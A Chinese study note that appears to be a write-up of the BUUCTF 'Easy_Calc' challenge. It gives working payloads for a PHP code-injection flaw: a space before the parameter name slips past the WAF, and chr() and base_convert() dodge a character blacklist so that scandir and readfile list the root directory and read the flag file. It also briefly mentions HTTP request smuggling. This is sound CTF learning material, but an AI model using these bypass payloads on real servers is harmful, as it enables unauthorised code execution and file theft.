BUUCTF学习笔记-Easy_Clac
BUUCTF学习笔记-Easy_Clac
时间:2020/03/22
考点:WAF绕过、文件读取
文章图片
文章图片
打开是一个计算器,只要输入表达式就可以返回对应的结果。右键查看源代码,可以看到提示,提示我们这个网站是有WAF的。并且通过ajax的请求地址能看到应该还是存在一个
calc.php
的页面的,访问一下。
文章图片
解读一下大概的内容。搜先需要我们输入一个0x01参数名为num的GET变量
。如果没有的话就直接显示calc.php
的内容。也就是我们现在的状态。如果有输入参数num
的话,就会拿输入的内容和设定的黑名单比较,当通过黑名单后直接就拿输入的内容执行。拿很明显这道题就算要绕过WAF已经黑名单去执行命令。
参考一下网上的做法: 利用PHP的字符串解析特性Bypass。
PHP需要将所有URL、请求体参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
文章图片
文章图片
可以看到上面两次尝试,一次被WAF拦截了,另外一次则成功了。两次输入的内容如下:成功绕过WAF后接下来就是构造命令绕过黑名单并顺利读取到flag。可能要到的几个函数:
第一次:?num=phpinfo()
第二次:?%20num=phpinfo()
区别在与第二次在参数名前面加了空字符。参考上面说的PHP字符串解析特性说的第一点,PHP在解析时会删除空字符。
WAF接受到的是? num=phpinfo()
,解析出来参数名为 num,没有把空格删除,没有触发的WAF的规则。
PHP接受到的同样? num=phpinfo()
,但解析出来的参数名是num,把空格删除了所以可以在后台顺利拿到参数,执行成功。
打印函数:
var_dump(object)
print_r(object)
目录读取函数:
scandir(directory,sorting_order,context);
文件读取函数:
readfile(filename,include_path,context)
file_get_contents(path,include_path,context,start,max_length)
字符转换函数:
chr(ascii)
ord(string)
base_convert(number,frombase,tobase);
现在目标就是拼接除payloadscandir(/)
来搜索目录。首先因为/
在黑名单中,所以需要用其他方式去得出,可以使用chr(47)
来表示。这样我们第一个payload就出了? num=var_dump(scandir(chr(47)))
。var_dump只是打印函数,也可以换成print_r(),? num=print_r(scandir(chr(47)))
。如果scandir
这个词也被过滤的话,还可以使用base_convert()来拼接。
如? num=print_r(base_convert(61693386291,10,36)(chr(47)))
文章图片
可以看到输出的目录列表中包含f1agg
这个文件。那接下来需要构造的payload就是readfile(/f1agg)。
按照之前的办法构造即可:
? num=readfile(chr(47).f1agg)
? num=file_get_contents(chr(47).f1agg)
? num=base_convert(2146934604002,10,36)(chr(47).f1agg)
文章图片
0x02
参考一下网上的做法: HTTP请求走私。
前端服务器(CDN)和后端服务器接收数据不同步,引起对客户端传入的数据理解不一致,从而导致漏洞的产生。【BUUCTF学习笔记-Easy_Clac】1、CL-CL
两个CL直接导致前端转发的服务器400,而且完整转发了post包给后端。
文章图片
2、CL-TE
CL和TE直接导致前端转发的服务器400,而且完整转发了post包给后端。
文章图片
推荐阅读
- EffectiveObjective-C2.0|EffectiveObjective-C2.0 笔记 - 第二部分
- 由浅入深理解AOP
- 继续努力,自主学习家庭Day135(20181015)
- python学习之|python学习之 实现QQ自动发送消息
- Android中的AES加密-下
- 一起来学习C语言的字符串转换函数
- 定制一套英文学习方案
- 漫画初学者如何学习漫画背景的透视画法(这篇教程请收藏好了!)
- 《深度倾听》第5天──「RIA学习力」便签输出第16期
- 如何更好的去学习